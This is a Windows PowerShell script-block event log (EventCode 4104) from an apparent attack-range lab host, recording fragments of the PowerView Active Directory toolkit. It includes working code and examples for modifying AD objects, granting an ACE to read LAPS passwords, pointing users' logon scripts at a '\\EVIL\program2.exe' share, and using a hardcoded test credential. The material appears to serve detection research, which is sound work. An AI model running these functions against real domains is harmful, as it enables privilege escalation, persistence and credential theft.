System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainObjectAcl -Credential $Cr ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989501 Keywords=None Message=Creating Scriptblock text (21 of 61): ombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } # splat the appropriate arguments to Get-DomainObject $RawObject = Get-DomainObject @SearcherArguments ForEach ($Object in $RawObject) { $Entry = $RawObject.GetDirectoryEntry() if($PSBoundParameters['Set']) { try { $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" $Entry.put($_.Name, $_.Value) } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['XOR']) { try { $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { $PropertyName = $_.Name $PropertyXorValue = $_.Value Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" $TypeName = $Entry.$PropertyName[0].GetType().name # UAC value references- https://support.microsoft.com/en-us/kb/305144 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue $Entry.$PropertyName = $PropertyValue -as $TypeName } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['Clear']) { try { $PSBoundParameters['Clear'] | ForEach-Object { $PropertyName = $_ Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" $Entry.$PropertyName.clear() } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } } } } function ConvertFrom-LDAPLogonHours { <# .SYNOPSIS Converts the LDAP LogonHours array to a processible object. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Converts the LDAP LogonHours array to a processible object. Each entry property in the output object corresponds to a day of the week and hour during the day (in UTC) indicating whether or not the user can logon at the specified hour. .PARAMETER LogonHoursArray 21-byte LDAP hours array. .EXAMPLE $hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours ConvertFrom-LDAPLogonHours $hours Gets the logonhours array from the first AD user with logon restrictions. .OUTPUTS PowerView.LogonHours #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LogonHours')] [CmdletBinding()] Param ( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [byte[]] $LogonHoursArray ) Begin { if($LogonHoursArray.Count -ne 21) { throw "LogonHoursArray is the incorrect length" } function ConvertTo-LogonHoursArray { Param ( [int[]] $HoursArr ) $LogonHours = New-Object bool[] 24 for($i=0; $i -lt 3; $i++) { $Byte = $HoursArr[$i] $Offset = $i * 8 $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) } $LogonHours } } Process { $Output = @{ Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] } $Output = New-Object PSObject -Property $Output $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') $Output } } function New-ADObjectAccessControlEntry { <# .SYNOPSIS Creates a new Active Directory object-specific access control entry. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Creates a new object-specific access control entry (ACE). The ACE could be used for auditing access to an object or controlling access to objects. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER PrincipalSearchBase The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Right Specifies the rights set on the Active Directory object. .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) .PARAMETER AuditFlag For audit ACEs, specifies when to create an audit log (on success or failure) .PARAMETER ObjectType Specifies the GUID of the object that the ACE applies to. .PARAMETER InheritanceType Specifies how the ACE applies to the object and/or its children. .PARAMETER InheritedObjectType Specifies the type of object that can inherit the ACE. .EXAMPLE $Guids = Get-DomainGUIDMap $AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name $CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid $OU = Get-DomainOU -Raw Workstations $DsEntry = $OU.GetDirectoryEntry() $dsEntry.PsBase.Options.SecurityMasks = 'Dacl' $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $dsEntry.PsBase.CommitChanges() Adds an ACE to all computer objects in the OU "Workstations" permitting the user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. .OUTPUTS System.Security.AccessControl.AuthorizationRule #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Security.AccessControl.AuthorizationRule')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $True)] [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] $Right, [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] [ValidateSet('Success', 'Failure')] [String] $AuditFlag, [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] [Guid] $ObjectType, [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] [String] $InheritanceType, [Guid] $InheritedObjectType ) Begin { if ($PrincipalIdentity -notmatch '^S-1-.*') { $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principal = Get-DomainObject @PrincipalSearcherArguments if (-not $Principal) { throw "Unable to resolve principal: $PrincipalIdentity" } elseif($Principal.Count -gt 1) { throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" } $ObjectSid = $Principal.objectsid } else { $ObjectSid = $Pri ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989500 Keywords=None Message=Creating Scriptblock text (20 of 61): nObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2 AttributeName : member AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local TimeDeleted : 2017-04-10T22:17:19Z TimeCreated : 2017-04-10T22:17:19Z LastOriginatingChange : 2017-04-10T22:17:19Z Version : 1 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.ADObjectLinkedAttributeHistory Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObjectLinkedAttributeHistory')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replvaluemetadata','distinguishedname' 'Raw' = $True } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Properties']) { $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' } else { $PropertyFilter = '' } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if ($TempObject.pszAttributeName -Match $PropertyFilter) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory') $Output } } else { Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" } } } } } function Set-DomainObject { <# .SYNOPSIS Modifies a gven property for a specified active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Splats user/object targeting parameters to Get-DomainObject, returning the raw searchresult object. Retrieves the raw directoryentry for the object, and sets any values from -Set @{}, XORs any values from -XOR @{}, and clears any values from -Clear @(). .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Set Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. .PARAMETER XOR Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. .PARAMETER Clear Specifies an array of object properties that will be cleared in the directory. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y VERBOSE: Setting countrycode to 1234 for object harmj0y VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser VERBOSE: Setting countrycode to 1234 for object testuser .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose Cleares the 'department' field for both object identities. .EXAMPLE Get-DomainUser testuser | ConvertFrom-UACValue -Verbose Name Value ---- ----- NORMAL_ACCOUNT 512 Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' Get-DomainUser testuser | ConvertFrom-UACValue -Verbose Name Value ---- ----- NORMAL_ACCOUNT 512 DONT_EXPIRE_PASSWORD 65536 .EXAMPLE Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\primary\sysvol\blah.ps1 $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\EVIL\program2.exe #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [Alias('Replace')] [Hashtable] $Set, [ValidateNotNullOrEmpty()] [Hashtable] $XOR, [ValidateNotNullOrEmpty()] [String[]] $Clear, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{'Raw' = $True} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['T ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989499 Keywords=None Message=Creating Scriptblock text (19 of 61): ) } } } function Get-DomainObjectAttributeHistory { <# .SYNOPSIS Returns the Active Directory attribute replication metadata for the specified object, i.e. a parsed version of the msds-replattributemetadata attribute. By default, replication data for every domain object is returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. This is the domain attribute replication metadata associated with the object. The results are parsed from their XML string form and returned as a custom object. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Only return replication metadata on the specified property names. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectAttributeHistory -Domain testlab.local Return all attribute replication metadata for all objects in the testlab.local domain. .EXAMPLE 'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat e ingChange ingDsaDN -------- ---------- ------------ ------------ ------- ------------ CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... .EXAMPLE Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb AttributeName : userAccountControl LastOriginatingChange : 2017-03-07T19:56:27Z Version : 4 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.ADObjectAttributeHistory Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObjectAttributeHistory')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replattributemetadata','distinguishedname' 'Raw' = $True } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Properties']) { $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' } else { $PropertyFilter = '' } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if ($TempObject.pszAttributeName -Match $PropertyFilter) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') $Output } } else { Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" } } } } } function Get-DomainObjectLinkedAttributeHistory { <# .SYNOPSIS Returns the Active Directory links attribute value replication metadata for the specified object, i.e. a parsed version of the msds-replvaluemetadata attribute. By default, replication data for every domain object is returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'. This is the domain linked attribute value replication metadata associated with the object. The results are parsed from their XML string form and returned as a custom object. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Only return replication metadata on the specified property names. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. 